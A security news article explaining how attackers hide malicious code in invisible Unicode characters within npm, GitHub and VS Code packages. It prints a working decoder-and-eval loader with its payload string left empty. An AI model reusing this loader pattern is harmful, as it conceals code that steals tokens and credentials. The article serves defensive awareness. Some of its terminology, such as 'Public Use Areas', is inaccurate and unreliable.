Invisible Unicode Characters Used in Malware Attacks

Hackers are exploiting a decades-traditional quirk in the Unicode standard to conceal malicious code within seemingly harmless text. These “invisible” characters, designed for special symbols and emojis, are being used to bypass security measures and deliver malware, raising concerns about the evolving sophistication of supply-chain attacks.

The Unicode Vulnerability

The technique relies on Public Use Areas (PUAs) within the Unicode specification – ranges reserved for private use in defining characters like emojis and flags. Whereas these characters are rendered as blank spaces or whitespace to human viewers and standard code analysis tools, they are fully readable by Large Language Models (LLMs) and JavaScript interpreters. This allows attackers to embed executable code disguised as innocuous text.

From Obscurity to Exploitation

Originally devised decades ago and largely forgotten, these invisible Unicode characters resurfaced in 2024 when researchers discovered hackers using them to conceal malicious prompts for AI engines. Initial defenses implemented by AI developers have been periodically circumvented. The technique has since expanded beyond AI-related attacks and is now being used in traditional malware campaigns.

How the Attack Works

In a recent example analyzed by Aikido, a security firm, attackers encoded a malicious payload using invisible characters. The code appears clean during inspection, but during JavaScript runtime, a decoder extracts the hidden bytes and passes them to the eval() function for execution.

const s = v => [...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null )).filter(n => n !== null); eval(Buffer.from(s(``)).toString('utf-8')); 

Aikido explained that the seemingly empty backtick string passed to the s() function is, in fact, packed with these invisible characters. Once decoded, it reveals a malicious payload capable of stealing tokens, credentials, and secrets, with past incidents utilizing Solana as a delivery channel.

Widespread Distribution

Researchers have identified similar malicious packages on GitHub, npm, and the VS Code marketplace. Aikido estimates that the 151 packages detected represent only a small fraction of the overall campaign, as many have been deleted after upload.

Protecting Against Supply-Chain Attacks

The most effective defense against these supply-chain attacks is thorough inspection of packages and their dependencies before integration into projects. This includes carefully scrutinizing package names for typos and anomalies. Given the potential for malicious packages to appear legitimate, particularly when utilizing invisible Unicode characters, heightened vigilance is crucial.